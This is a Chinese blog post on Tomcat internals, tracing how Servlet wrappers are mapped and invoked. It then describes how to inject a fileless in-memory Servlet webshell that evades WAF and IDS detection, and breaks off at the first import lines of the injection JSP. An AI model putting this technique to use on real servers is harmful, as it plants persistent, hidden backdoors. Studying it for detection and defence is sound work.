      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483827&amp;idx=1&amp;sn=ad157510790dfefcc4badeafe4a929b7</link>
      <description>人望山，鱼窥荷</description>
      <content:encoded><![CDATA[<p>
原创 <span>Amev</span> <span>2020-12-09 00:36</span> <span style="display: inline-block;"></span>
</p>

<p>人望山，鱼窥荷</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=29ba9aeb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBK8052icIJkUniaIpRv6SwzzL3k5nLLZvcGS9pnF3BNcJyqzkcBvdDnyw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="white-space: normal;"><br/></section><h6 style="white-space: normal;line-height: 24px;text-align: center;"><span style="font-size: 15px;"><strong><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></span><br/></h6><h6 style="white-space: normal;line-height: 24px;text-align: center;"></h6><p style="white-space: normal;text-align: center;"><img class="rich_pages" data-backh="325" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="325" data-ratio="0.75" data-s="300,640" style="width: 578px;height: 434px;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7fbd122f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBpb2UDNHMwQJtMn96NibnvFSSbOSchg0dUrKvibeJSBpECq5rLLZz6RKQ%2F640%3Fwx_fmt%3Djpeg"/></p><h6 style="white-space: normal;line-height: 24px;text-align: center;"><br/></h6><h6 style="white-space: normal;line-height: 24px;text-align: left;"></h6><h6 style="white-space: normal;line-height: 24px;text-align: left;"><span style="font-size: 15px;color: rgb(54, 41, 47);"><strong><span style="font-family: 黑体;">背景：</span></strong></span></h6><section style="white-space: normal;text-indent: 28px;line-height: 1.5em;"><span style="font-family: 宋体;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、<span style="font-family: Calibri;">IDS</span>恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的<span style="font-family: Calibri;">Webshell</span>或需以文件形式持续驻留目标服务器的恶意后门。</span></section><section style="white-space: normal;text-indent: 28px;line-height: 1.5em;"><span style="font-family: 宋体;font-size: 15px;color: rgb(54, 41, 47);">结合当下形势，对Tomcat容器如何利用Sevlet实现无文件落地的内存<span style="font-family: Calibri;">Webshell</span>进行研究学习。</span></section><p style="white-space: normal;line-height: 25.5px;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;line-height: 25.5px;"><br/></p><h6 style="white-space: normal;line-height: 24px;"><span style="color: rgb(121, 123, 170);font-size: 15px;"><strong><span style="font-family: 黑体;">声明 ：</span></strong></span></h6><p style="white-space: normal;line-height: 25.5px;"><span style="font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="white-space: normal;line-height: 25.5px;"><span style="font-family: 宋体;font-size: 15px;"> </span></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;line-height: 25.5px;"><br/></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:宋体;font-size:14px;"> </span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"></span></span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">一、何为</span>Servlet</span></p><p style="margin-top:7px;margin-bottom:7px;margin-left:48px;margin-top:auto;margin-bottom:auto;text-autospace:ideograph-numeric;text-align:left;"><span style="font-family: 等线;color: rgb(88, 88, 88);letter-spacing: 0;font-size: 13px;background: rgb(255, 255, 255);">· </span><span style="font-family: 等线;color: rgb(88, 88, 88);letter-spacing: 0;font-size: 13px;background: rgb(255, 255, 255);">Servlet</span><span style="font-family: 等线;color: rgb(88, 88, 88);letter-spacing: 0;font-size: 13px;background: rgb(255, 255, 255);"> </span><span style="font-family: 等线;color: rgb(88, 88, 88);letter-spacing: 0;font-size: 13px;background: rgb(255, 255, 255);"><span style="font-family:等线;">是一种运行服务器端的</span>java应用程序，具有独立于平台和协议的特性，并且可以动态的生成web页面，它工作在客户端请求与服务器响应的中间层。Servlet 的主要功能在于交互式地浏览和修改数据，生成动态 Web 内容。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Servlet的加载（执行过程，原理）和生命周期</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">：</span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><a href="https://www.cnblogs.com/longmo666/p/13548888.html" target="_blank">https://www.cnblogs.com/longmo666/p/13548888.html</a></span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">二、</span><span style="font-family:等线;font-size:14px;">Servlet的实例存储在哪里？</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Container - 容器组件：</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><a href="https://www.freebuf.com/articles/system/151433.html" target="_blank">https://www.freebuf.com/articles/system/151433.html</a></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">援引自链接文章所述，</span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Tomcat 中有 4 类容器组件，从上至下依次是：</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Engine，实现类为 org.apache.catalina.core.StandardEngine</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Host，实现类为 org.apache.catalina.core.StandardHost</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Context，实现类为 org.apache.catalina.core.StandardContext</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Wrapper，实现类为 org.apache.catalina.core.StandardWrapper</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">“从上至下” 的意思是，它们之间是存在父子关系的。</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Engine：最顶层容器组件，其下可以包含多个 Host。</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Host：一个 Host 代表一个虚拟主机，其下可以包含多个 Context。</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Context：一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper。</span></p><p style="margin-left:28px;text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">Wrapper：一个 Wrapper 代表一个 Servlet。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">回顾</span>Tomcat容器攻防笔记之Filter内存马开篇所述，在配置文件中，Service、Host、Context、Wrapper四者的关系相互承接，联系紧密。要想拨开藏匿Servlet的迷雾，自然而然要着手于此四者的实现类。来一起看调试细节。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">首先找到的是</span>org.apache.catalina.core.StandardService类。作为Tomcat Service接口的具体实现类，负责管理多个连接器(Connector)与容器(Container)，其实例中存储了近乎所有的运行信息。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过配置文件，我们可以得知从</span>Server、Service、Host，最后到Context的层级关系，而这些映射信息均存储在StandardService类成员属性mapper当中。</span></p><p style="text-autospace:ideograph-numeric;"><br/><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;color: rgb(47, 47, 47);"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.351985559566787" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=66327ebd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBstFjjAtECiaOwwDVY4fXH5I4Cia9q55icZWUJ5r01WF0PSqc08yicT3tmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"></span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">既然</span>mapper属性存储了映射关系，是否与servlet一一对应的Wrapper，也在其中？通过调试中查看Mapper实例，印证了这个想法。</span><span style="font-family: 宋体;font-size: 14px;"></span></p><p style="white-space: normal;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7367256637168141" data-s="300,640" style="" data-type="png" data-w="452" src="https://wechat2rss.xlab.app/img-proxy/?k=49652aad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EB2hOLuvV5wjYZooS8p4y0Z21tIUS2zca487X29yd6jzhuxodsib2GLUw%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><span style="font-family: 宋体;font-size: 15px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6299638989169675" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=987c8daa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBGZAyezxia1enpy9dgZFjhQAZBlucmOu8AnJ5UOsqzztcXUUYBbfQHaA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"></span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">上图中可以看到，在</span>mapper实例中，含有与配置文件相对应的Host对象、不同Host对应的Context对象，以及不同Context对应的多个Wrapper，而我们要找的Servlet，就在这些Wrapper当中。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">具体的查找链条为：</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Mapper - hosts(Mapper$MappedHost[]) - contextList(Mapper$ContextList) - contexts(Mapper$MappedContext[]) - versions(Mapper$ContextVersion) - exactWrapper(Mapper$MappedWrapper) - object(StandWrapper) - this.instance</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="margin-left:0;text-indent:0;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;">三、</span><span style="font-family:等线;font-size:14px;">Servlet的调用过程？</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">根据先前了解得知，</span>Tomcat首先完成Connector组件的解析，并交由Adaptor最后转化适配为可供Container使用的Request及Response对象。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">由于</span>Container负责的是响应客户端的请求，自然而然，Connector负责处理和解析客户端的请求，例如请求的头部信息和Body信息等，具体这一实现，我们可以在CoyoteAdaptor类的Service()方法中查看。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="553" data-cropsely1="0" data-cropsely2="298" data-ratio="0.6464188576609248" data-s="300,640" style="width: 553px;height: 357px;" data-type="png" data-w="2206" src="https://wechat2rss.xlab.app/img-proxy/?k=a386df52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafATibddFm0ZicU37brUwibUK7yEUmN9zssAOgZrDVibb0bwt5TFmGRPlFZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">方法开始，先获取适配于</span>Container的Request和Response对象，而后调用CoyoteAdaptor#postParseRequest()对请求进行解析。</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="12" data-cropselx2="566" data-cropsely1="0" data-cropsely2="562" data-ratio="0.8442534908700322" data-s="300,640" style="width: 578px;height: 488px;" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=81d84712&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafpaUEwl5Gp9NGgtCj3AhiaDOOq7a7jqFfjhVL9B03I99CTKONicERXCbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">postParseRequest()方法，会解析请所用的协议、方法、路由、参数等等信息。其中跟servlet有关的重点在于this.connector.getService().getMapper().map(serverName, decodedURI, version, request.getMappingData())</span></p><p><span style="font-family:等线;font-size:14px;">       this.connector.getService()方法得到是当前的StandService实例，并调用getMapper()获得成员变量Mapper，上文提到，配置文件中的映射关系，保存在该实例的Mapper成员变量中，因此此处最终调用Mapper.map()方法，就是为了根据请求解析信息，在Mapper中寻找并设置用于处理该请求的wrapper实例。</span></p><p><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="553" data-cropsely1="0" data-cropsely2="204" data-ratio="0.9209302325581395" data-s="300,640" style="width: 553px;height: 509px;" data-type="png" data-w="1720" src="https://wechat2rss.xlab.app/img-proxy/?k=4ab5e197&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafrFJyAxjMYPE92UPM2bOTCJ1gRyBfJ6g5kKLcVDJbyFibB9gU6Uc97Fw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">Mapper#Map()方法对请求的URI进行解析，或许有人会好奇，Map()方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">Mapper.ContextVersion contextVersion = (Mapper.ContextVersion)<span class="code-snippet__keyword">this</span>.contextObjectToContextVersionMap.<span class="code-snippet__keyword">get</span>(context);</span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">是做何用？其实此处获取的就是对应webapps目录下的Web应用StandardContext实例。下图是Tomcat webapps自带的manager。</span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3303249097472924" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4123719e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EBKxIMNoibvH26k1ACDTRuKAMrb3icQlAGia2BI9yYXKZCxl5GoTaM5zynQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">随后调用</span>this.internalMapWrapper()进一步进行解析，获取了当前的exactWrappers。这里可能有人会好奇了，为什么关注点要在exactWrappers，明明还有defaultWrapper、wildcardWrappers和extensionWrappers，其实这几类Wrapper都对应着不同的路径匹配模式。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">defaultWrapper 存储匹配路径为 “/” 类型的Wrapper实例</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">exactWrappers  存储匹配路径为 “/abc” 类型的Wrapper实例</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">wildcardWrappers 存储匹配路径为 “/*”类型的Wrapper实例</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">extensionWrappers 存储匹配路径为 “*” 类型的Wrapper实例</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这里我调试时，使用的是如下配置，因此关注点在</span>exactWrappers：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">servlet-mapping</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">servlet-name</span>&gt;</span>op<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">servlet-name</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">url-pattern</span>&gt;</span>/op<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">url-pattern</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">servlet-mapping</span>&gt;</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3483754512635379" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=9b5628f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GyHwQY7Jgj5IJwdJSvca3EByPXaWRypbvZYpFKiaIcqpG5zzGCOgRDoJb4pDYGicHBxZK0ElQ1CQXxw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><br/><span style="font-family:等线;font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">当查看</span>internalMapExactWrapper方法时，一目了然，exactFind(wrappers, (CharChunk)path)根据URI也就是path，在exactWrappers中寻找适配的wrapper，然后将相关的信息保存在mappingData中。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">还记得，之前提到，</span>Adaptor为适配Container，生成的两个org.apache.catalina.connector.Request和Response对象，mappingData就是Request对象中，存储请求映射信息的成员变量，供后续Container进行映射调用。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">好了，经过以上分析，就可以知道，在</span>CoyoteAdaptor#postParseRequest方法中，有关Wrapper(Servlet)的对象实例已经保存在Request对象当中，后续，理所当然就是看Container，怎么调用servlet进行处理，继续。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">回到</span>CoyoteAdaptor类的Service()方法，经过this.postParseRequest()解析请求信息后，就交由Container进行处理：</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">this.connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">由于</span>Tomcat使用的Pipeline进行传递调用，关键的一环是传递至StandardContextValve类</span></p><p style="text-indent: 28px;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="553" data-cropsely1="0" data-cropsely2="224" data-ratio="0.7735849056603774" data-s="300,640" style="width: 553px;height: 428px;" data-type="png" data-w="1484" src="https://wechat2rss.xlab.app/img-proxy/?k=ba86598f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafqWDxHnoC2tqtTmMXWmPZbkyStyma2RkuykME5ko2tjz3RwtpO2Fodg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">通过</span>request.getWrapper()方法，在mappingData中取出设置好的Wrapper实例，并调用wrapper.getPipeline().getFirst().invoke(request, response);使用该Wrapper实例进行处理。跟随invoke()看看做了什么操作。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="9" data-cropselx2="563" data-cropsely1="0" data-cropsely2="92" data-ratio="0.16051364365971107" data-s="300,640" style="width: 573px;height: 92px;" data-type="png" data-w="1246" src="https://wechat2rss.xlab.app/img-proxy/?k=9a36f037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafLaEA6ZYnL9rM4EDS1xYPx7IQ9zzxiaKgWugciaAh0lGwsY7lUyJ9exJA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">进入到</span>Invoke方法，其实这里是调用的实例是StandWrapperValue，不知道还有没有朋友记得，上一篇《Tomcat容器攻防笔记之Filter内存马》中提到，过滤链filterChain也是在该Invoke方法中创建并调用。所以Tomcat根据请求，是先设置好servlet，随后再调用Filter过滤器进行响应。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">对于我们的关注点来说，关键的方法是上图，</span>servlet = Wrapper.allocate()。allocate译文是划分给、分配的意思，顾名思义，在wrapper中找到servlet并划分出来。继续看allocate方法细节。</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="263" data-ratio="0.934052757793765" data-s="300,640" style="width: 554px;height: 517px;" data-type="png" data-w="1668" src="https://wechat2rss.xlab.app/img-proxy/?k=a6fce794&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowaffUje0RkPNdL8PQDiamu7IicoQ5g69CcBucnliaPiabgDA2icFA4RwUqstibA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">        此处的</span>this指的是StandWrapper的实例自身，allocate方法中，校验自身instance成员变量是否为null，为null则调用this.loadServlet()方法，加载servlet实例。</span></p><p><span style="font-family:等线;font-size:14px;"><br/></span></p><p><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="279" data-ratio="0.9026047565118913" data-s="300,640" style="width: 554px;height: 500px;" data-type="png" data-w="1766" src="https://wechat2rss.xlab.app/img-proxy/?k=93c1fd7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzhCDrvibh2Fvonrz2CCowafcfchV3vXD86zrdYGcSTfIvx58rRSa09I77aaqCO440FuPlY6NsTLoA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:等线;font-size:14px;"></span><br/></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">  在</span>loadServlet方法中，关键点就是instanceManager.newInstance(this.servletClass)，根据当前StandardWrapper实例的servletClass成员属性的值，也就是servlet的类名进行实例化，并赋值于servlet，随后返回至最初servlet = wrapper.allocate()。之后的事情，就是生成过滤链filterChain，当filterChain调用完毕后，交由servlet进行响应处理。</span></p><p><span style="font-family:等线;font-size:14px;"><br/></span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family:等线;font-size:14px;">四、</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">如何注入</span>Servlet内存马？</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">经过以上分析可以知道，</span>Tomcat在整个流程中，先从Mapper.exactWrappers中找到相应的exacWrapper，保存到Request.mappingData中，在调用servlet时，校验Wrapper的成员属性instance是否为空，若为空，则根据wrapper的servletClass成员属性进行实例化后赋值于instance。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">以上要注意的是：</span></span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">1. </span><span style="font-family:等线;font-size:14px;">Wrapper不等同于servlet，Wrapper还包含servlet的诸多信息，servlet只是wrapper其中的一部分。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">2. </span><span style="font-family:等线;font-size:14px;">wrapper.instance保存wrapper的servlet实例</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;">3. </span><span style="font-family:等线;font-size:14px;">wrapper.servletClass保存wrapper的servlet的类</span></p><p style="margin-left: 28px;text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">那么现在，我们只需要往</span>Tomcat容器的JVM环境中注入恶意Wrapper类，并在Mapper.exactWrappers中添加我们的Wrapper对象，随后让该wrapper对象的instance赋值为恶意servlet的实例，即可完成Servlet内存马的注入。</span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">导入包：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.webresources.StandardRoot&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.lang.reflect.*&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.mapper.Mapper&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.loader.WebappClassLoaderBase&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.util.concurrent.ConcurrentHashMap &#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span 